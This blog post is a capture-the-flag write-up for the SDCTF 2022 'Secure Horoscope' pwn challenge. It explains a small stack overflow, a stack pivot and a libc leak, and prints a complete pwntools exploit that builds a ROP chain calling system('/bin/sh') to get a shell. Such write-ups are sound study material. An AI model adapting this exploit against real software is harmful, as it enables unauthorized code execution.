Aynakeya's Blog

Kill My Emotion

[Pwn] Secure Horoscope [SDCTF 2022]

0x0 Introduction

Medium

Our horoscope developers have pivoted to a more security-focused approach to predicting the future. You won’t find breaking into this one quite so easy!

Connect
nc sechoroscope.sdc.tf 1337

By green beans

files: secureHoroscope

0x1 Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

0x2 Vulnerability

In function dbg.getInfo, there is 0x8c-0x70 = 0x1c long buffer over. Although it is very small. It still allow us to do a stack pivot.

  1. overwrite rbp to writable memory page, jump dbg.getInfo again, but skip callee prologue so that rbp stay the same.
  2. write payload (leak libc address and return to dbg.getInfo) to current stack frame
  3. double leave ret, point rsp to our payload
  4. write ropchain for calling system("/bin/sh") to get shell

0x3 Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *

exe = ELF("secureHoroscope_patched")
exe_rop = ROP(exe)
libc = ELF("libc.so.6")
ld = ELF("./ld-2.27.so")

context.binary = exe
# context.log_level = 'DEBUG'

def log_print(*msg):
log.info(" ".join(map(str,msg)))

def start():
if args.LOCAL:
r = process([exe.path])
if args.R2:
input("Wait r2 attach")
else:
r = remote("sechoroscope.sdc.tf", 1337)
return r

ret_addr = exe_rop.find_gadget(['ret'])[0]
pop_rdi_ret_addr = exe_rop.find_gadget(['pop rdi', 'ret'])[0]

io = start()
io.sendlineafter(b'feel\n',b"AAAAA")

writable = 0x601900

print(hex(exe.sym["puts"]))
# print(hex(exe.got["puts"]))
input("wait")
io.sendlineafter(b'horoscope\n\n',flat({
0x70:writable,
0x70+8:0x004007b9
}))
io.recvuntil(b"business days.\n")

input("wait")
io.send(flat({
0:[
writable-0x70 + 0x8*5,# new rbp
pop_rdi_ret_addr,
exe.got["puts"],
exe.sym["puts"],
0x004007fd, # fflush, leave ret
writable-0x70 + 0x8*5 +0x8 + 0x70, # rbp
0x004007cf,
],
0x70:writable-0x70,
0x70+8:0x0040080d # leave ret
}))
io.recvuntil(b"business days.\n")
libc.address = int.from_bytes(io.recvuntil(b"\n",drop=True),"little") - libc.sym["puts"]
log_print("base libc addr",hex(libc.address))
input("wait")
io.send(flat({
0:[
pop_rdi_ret_addr,
next(libc.search(b"/bin/sh")),
libc.sym["system"]
],

}))
io.interactive()

0x4 Flag

sdctf{Th0s3_d4rN_P15C3s_g0t_m3}

0%